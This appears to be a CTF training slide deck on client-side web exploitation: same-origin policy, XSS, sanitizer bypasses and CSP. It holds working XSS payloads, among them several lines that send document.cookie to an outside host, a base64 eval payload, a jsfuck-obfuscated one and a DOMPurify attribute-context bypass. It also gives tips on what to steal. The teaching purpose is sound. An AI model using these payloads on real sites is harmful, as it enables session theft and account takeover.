

Client-Side Web Exploitation



Manaf | @manaf941

Contents

1. WTF is SOP (Same-Origin Policy)
2. XSS
 - a. How it works
 - b. Writing payloads
 - c. Exfiltration
 - d. Sanitizers
3. The holy headers (CSP)
4. Challenges !!!!!!!!!!!!!!!!

1. Same-Origin Policy

- Isolates websites data
- malware.com cannot access manaf.ch data, and vice versa

Truth table (if you're on `https://admin.manaf.ch/`)

<code>https://admin.manaf.ch/home</code>	✓	Same proto, same domain, same port
<code>https://admin.manaf.ch/accounts</code>	✓	Same proto, same domain, same port
<code>http://admin.manaf.ch/home</code>	✗	Wrong proto
<code>https://admin.manaf.ch:1337/home</code>	✗	Wrong port
<code>https://compromised.manaf.ch/home</code>	✗	Wrong domain

How is SOP annoying ?

- You can't have access to `malware.com` and expect to access `legit.com`
- Prevents some cross-origin access
 - `iframe.contentWindow`
 - `*some* Cookies`
 - `localStorage`
- It mitigates impacts of an XSS

2. Cross-Site-Scripting (XSS)

- Inject malicious JavaScript code into legit webpages
1. **Attacker** injects malicious code into website
 - Could be injected through a form
 2. **Victim** loads the page
 3. The **victim**'s browser parses the HTML and runs the injected javascript code
 4. The XSS code extract the **victim**'s cookies / perform some unwanted actions

Writing your first exploit

```
<script>  
    alert("hi")  
</script>
```

Won't work if script is inserted after page loading

```
<img src=x onerror=alert("hi") />
```

Will be executed as soon as element is inserted/loaded

Exfiltrate Data

- Another HTTP request
- Get a Webhook: <https://webhook.site>
- Pro Tip: Abuse [ngrok's](#) tunneling service for free endpoints
 - Pro: Can inspect requests on <http://localhost:4040>
 - Con: Leaks your IP
- Advanced: Get a VPS / home server

Payload Examples: Exfiltrating Cookies

```
fetch(`https://w.manaf.ch/?cookies=${encodeURIComponent(document.cookie)}`)
```

```
window.location.href = `https://w.manaf.ch/?cookies=${encodeURIComponent(document.cookie)}`
```

```
new Image().src = `https://w.manaf.ch/?cookies=${encodeURIComponent(document.cookie)}`
```

```
const form = document.createElement("form")
```

```
form.method = "POST"
```

```
form.action = `https://w.manaf.ch/?cookies=${encodeURIComponent(document.cookie)}`
```

```
document.body.appendChild(form)
```

```
form.submit()
```

```
// you might need to get creative depending on filters
```

```
// usually, navigation works best as CSP (connect-src, image-src) doesn't get it in the way
```

Filters

If you have filters, there's always a way with JavaScript

You usually just have to read it and work around it

If it's simple and you're lazy, you can just encode your code and bypass it

The eval way:

```
<img src=x
onerror=eval(atob('ZmV0Y2goIi9nZXRGbGFnIiwgewogICAgbWV0aG9kOiAiUE9TVCIscCiAgICBoZWFKZXJzOiB7CiAgICAgICAgICAgIknvbnRlbnQtVHlwZS
I6ICJhcHBsaWNhdGlvbi9qc29uIgowICAgfSwKICAgIGJvZHK6IEpTT04uc3RyaW5naWZ5KHtnaXZlTWU6ICJ0aGVGbGFnIn0pCn0pLnRoZW4ocmVzID0+IHJ
lcY50ZXh0KCKpCi50aGVuKGZsYWcgPT4gewogICAgbG9jYXRpb24uaHJlZiA9ICJodHRwciovL3dlYmhvb2suc2l0ZS80MGE2NzcxZC1iNzlkLTRlYTUtYmJi
My1kZjY4Y2RjZjU2Yjc/IitlbmNvZGVVUkkoYnRvYShmbGFnKSkKfSk='))>
```

The jsfuck way

```
<img src=x
```

```
onerror=[][(![][!])][+!+[!])+(![][!])][+[]][(![][!])][+!+[!])+(![][!])][+[]]  
+[!])][!+[!]+!+[!]+!+[!])+(![][!])][(![][!])][+!+[!])+(![][!])][+[]])][+!+[!]+[+[]])+([  
][[]])+[]][+!+[!])+(![][!])][!+[!]+!+[!]+!+[!])+(![][!])][+[]])+(![][!])][+!+[!])+([!  
[]])+[]][+[]])+([!][(![][!])][+!+[!])+(![][!])][+[]])+[]][!+[!]+!+[!]+!+[!])+(![][!])  
[+[]])+(![][!])][(![][!])][+!+[!])+(![][!])][+[]])][+!+[!]+[+[]])+(![][!])][+!+[!]]  
((![][!])][+!+[!])+(![][!])][!+[!]+!+[!]+!+[!])+(![][!])][+!+[!]  
])+(![][!])][+[]])+([!][(![][!])][+!+[!])+(![][!])][+[]])+[]][+!+[!]+[+!+[!]]+[+!+[!]  
])+([!+[!]+[!][(![][!])][+!+[!])+(![][!])][+[]])][+!+[!]+[!+[!]+!+[!]])[+!+[!]+[!+[!]+[!]]])(>
```

```
<!-- alert(1) -->
```

Sanitizers

They take untrusted user inputs and strip away attacks

```
<img src=x onerror=alert("hi") />
```

Becomes

```

```

Usually DOMPurify

How to bypass sanitizers

- Look for outdated sanitizers versions
- Look for placement of the output
 - The sanitized content should be placed inside an HTML tag, not in an attribute
- Look for modifications on the sanitizers output

How to bypass sanitizers

- Look for outdated sanitizers versions

Vulnerable:

```
"dependencies": {  
  "dompurify": "3.2.3"  
}
```

Payload:

CVE-2025-26791

How to bypass sanitizers

- Look for placement of the output
 - The sanitized content should be placed as the tag's child, not in an attribute

Vulnerable:

```
<div data-query="<%- DOMPurify.sanitize(user_content) %">  
  ...  
</div>
```

Payload:

```
<p title=""><img src=x onerror=alert(1)>">
```

How to bypass sanitizers

- Look for placement of the output
 - The sanitized content should be placed as the tag's child, not in an attribute

Becomes:

```
<div data-query="<p title=">  
  <img src=x onerror=alert(1) />  
  
  ">  
  <p>  
  </p>  
  ">  
  . . .  
</div>
```

what to steal / do

- Cookies
 - Authentication for server-side rendered websites
 - Authentication for *some* client-side rendered websites
 - Doesn't work if Cookies are set to http only
- Local Storage
 - Authentication for most client-side rendered websites
- Extract the page content
 - If the page contains sensitive data, you can use:
`document.querySelector("#element").innerHTML`
To get an element's content
- Do HTTP Requests
 - If cookies are http only, you might still do requests with them

How to quickly find XSS

- grep for `innerHTML` (in JS bundles)
- grep for `eval(...)` (in JS bundles)
- If ejs templating, grep for `<%-` (the safe variant being `<%=`)
- If Jinja templating, grep for
 - `{% autoescape false %}`
 - `{{ user_content | safe }}`
- If react, grep for `dangerouslySetInnerHTML={{_html: user_content}}`
- Basically anywhere where html is handled as a string

Beware !!

- Sometimes, the bot is using <http://localhost> and <http://127.0.0.1>, not the same url you're using
- URL Encoding is tricky (+ => spaces, %2b => +), make sure to use `encodeURIComponent( "...")` in a repl to craft your payload/use a specialized tool
- `<script>...</script>` only runs when page is loaded, not after
 - `<img src=x onerror=alert(1) />` will work
 - `<iframe srcdoc="<script>alert(1)</script>"></iframe>` might also work
 - <https://portswigger.net/web-security/cross-site-scripting/cheat-sheet>

3. CSP

- Content-Security-Policy
- Basically tells the browser what it can and what it can't load
- Exists both in response header and in meta format
- `Content-Security-Policy: default-src 'none'; script-src 'self'`
 - Tells the browser to only load scripts from the same origin (according to SOP !)
 - The rest is forbidden
 - Secure (except for uploads on the same origin)
 - In header format
- `<meta http-equiv="Content-Security-Policy" content="default-src 'self'" />`
 - Allows loading everything on the same origin
 - This is a default for scripts, styles, and everything else
 - In meta tag format (should be in the page `<head>` tag)

Example

The CSP

```
default-src 'self'
```

And the html code

```
<script>alert(1)</script>
```

Will fail with an error

❗ Content-Security-Policy: The page's settings blocked an inline script (script-src-elem) from being executed because it violates the following directive: "default-src 'self'" [asdas.html:10:13](#)

CSP ez wins

- `script-src 'unsafe-inline'`; onerror will work
- `script-src https://*`; you can literally load anything (over https)
- `script-src https://cdn.jsdelivr.net`; you can host stuff on cdns
- `script-src 'self'`; maybe you can upload files on the ctf

CSP Help

- Evaluator: <https://csp-evaluator.withgoogle.com>
- Hacktricks:
<https://book.hacktricks.wiki/en/pentesting-web/content-security-policy-csp-bypass/index.html>

Challenges !

<https://friday.polygl0ts.ch>